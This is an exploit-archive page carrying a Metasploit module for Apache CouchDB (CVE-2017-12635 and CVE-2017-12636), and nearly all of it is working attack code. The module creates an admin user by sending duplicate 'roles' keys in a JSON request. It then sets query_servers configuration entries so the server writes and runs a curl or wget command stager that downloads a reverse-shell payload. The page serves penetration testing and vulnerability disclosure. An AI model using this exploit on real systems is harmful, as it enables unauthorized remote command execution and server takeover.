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Apache CouchDB Arbitrary Command Execution

Apache CouchDB Arbitrary Command Execution
Posted Jul 12, 2018
Authored by Max Justicz, Joan Touzet | Site metasploit.com

CouchDB administrative users can configure the database server via HTTP(S). Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB. This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user, including downloading and executing scripts from the public internet.

tags | exploit, web, arbitrary, shell
advisories | CVE-2017-12635, CVE-2017-12636
MD5 | 646205692a311200bb3f3d798f50c670

Apache CouchDB Arbitrary Command Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache CouchDB Arbitrary Command Execution',
'Description' => %q{
CouchDB administrative users can configure the database server via HTTP(S).
Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.
This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,
including downloading and executing scripts from the public internet.
},
'Author' => [
'Max Justicz', # CVE-2017-12635 Vulnerability discovery
'Joan Touzet', # CVE-2017-12636 Vulnerability discovery
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
],
'References' => [
['CVE', '2017-12636'],
['CVE', '2017-12635'],
['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],
['URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'],
['URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E']
],
'DisclosureDate' => 'Apr 6 2016',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => false,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/shell_reverse_tcp',
'CMDSTAGER::FLAVOR' => 'curl'
},
'CmdStagerFlavor' => ['curl', 'wget'],
'Targets' => [
['Automatic', {}],
['Apache CouchDB version 1.x', {}],
['Apache CouchDB version 2.x', {}]
],
'DefaultTarget' => 0
))

register_options([
Opt::RPORT(5984),
OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']),
OptString.new('HttpUsername', [false, 'The username to login as']),
OptString.new('HttpPassword', [false, 'The password to login with'])
])

register_advanced_options([
OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']),
OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp'])
])
end

def check
get_version
version = Gem::Version.new(@version)
return CheckCode::Unknown if version.version.empty?
vprint_status "Found CouchDB version #{version}"

return CheckCode::Appears if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))

CheckCode::Safe
end

def exploit
fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't continue to exploit.") unless get_version
version = @version

vprint_good("#{peer} - Authorization bypass successful") if auth_bypass

print_status("Generating #{datastore['CMDSTAGER::FLAVOR']} command stager")
@cmdstager = generate_cmdstager(
temp: datastore['WritableDir'],
file: File.basename(cmdstager_path)
).join(';')

register_file_for_cleanup(cmdstager_path)

if !datastore['Attempts'] || datastore['Attempts'] <= 0
attempts = 1
else
attempts = datastore['Attempts']
end

attempts.times do |i|
print_status("#{peer} - The #{i + 1} time to exploit")
send_payload(version)
Rex.sleep(5)
# break if we get the shell
break if session_created?
end
end

# CVE-2017-12635
# The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON,
# the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization
# for the newly created user.
def auth_bypass
username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12)
password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12)
@auth = basic_auth(username, password)

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_users/org.couchdb.user:#{username}"),
'method' => 'PUT',
'ctype' => 'application/json',
'data' => %({"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"})
)

if res && (res.code == 200 || res.code == 201) && res.get_json_document['ok']
return true
else
return false
end
end

def get_version
@version = nil

begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'authorization' => @auth
)
rescue Rex::ConnectionError
vprint_bad("#{peer} - Connection failed")
return false
end

unless res
vprint_bad("#{peer} - No response, check if it is CouchDB. ")
return false
end

if res && res.code == 401
print_bad("#{peer} - Authentication required.")
return false
end

if res && res.code == 200
res_json = res.get_json_document

if res_json.empty?
vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.")
return false
end

@version = res_json['version'] if res_json['version']
return true
end

vprint_warning("#{peer} - Version not found")
return true
end

def send_payload(version)
vprint_status("#{peer} - CouchDB version is #{version}") if version

version = Gem::Version.new(@version)
if version.version.empty?
vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.")
# if target set Automatic, exploit failed.
if target == targets[0]
fail_with(Failure::NoTarget, "#{peer} - Couldn't retrieve the version automaticly, set the target manually and try again.")
elsif target == targets[1]
payload1
elsif target == targets[2]
payload2
end
elsif version < Gem::Version.new('1.7.0')
payload1
elsif version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
payload2
elsif version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0')
fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.")
end
end

# Exploit with multi requests
# payload1 is for the version of couchdb below 1.7.0
def payload1
rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
rand_db = Rex::Text.rand_text_alpha_lower(4..12)
rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
rand_hex = Rex::Text.rand_text_hex(32)
rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"

register_file_for_cleanup(rand_file)

send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %("echo '#{@cmdstager}' > #{rand_file}")
)

send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}"),
'method' => 'PUT',
'authorization' => @auth
)

send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %({"_id": "#{rand_hex}"})
)

send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),
'method' => 'POST',
'authorization' => @auth,
'ctype' => 'application/json',
'data' => %({"language":"#{rand_cmd1}","map":""})
)

send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %("/bin/sh #{rand_file}")
)

send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),
'method' => 'POST',
'authorization' => @auth,
'ctype' => 'application/json',
'data' => %({"language":"#{rand_cmd2}","map":""})
)
end

# payload2 is for the version of couchdb below 2.1.1
def payload2
rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
rand_db = Rex::Text.rand_text_alpha_lower(4..12)
rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
rand_tmp = Rex::Text.rand_text_alpha_lower(4..12)
rand_hex = Rex::Text.rand_text_hex(32)
rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"

register_file_for_cleanup(rand_file)

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_membership"),
'method' => 'GET',
'authorization' => @auth
)

node = res.get_json_document['all_nodes'][0]

send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %("echo '#{@cmdstager}' > #{rand_file}")
)

send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}"),
'method' => 'PUT',
'authorization' => @auth
)

send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %({"_id": "#{rand_hex}"})
)

send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),
'method' => 'PUT',
'authorization' => @auth,
'ctype' => 'application/json',
'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"})
)

send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %("/bin/sh #{rand_file}")
)

send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),
'method' => 'PUT',
'authorization' => @auth,
'ctype' => 'application/json',
'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"})
)
end

def cmdstager_path
@cmdstager_path ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"
end

end

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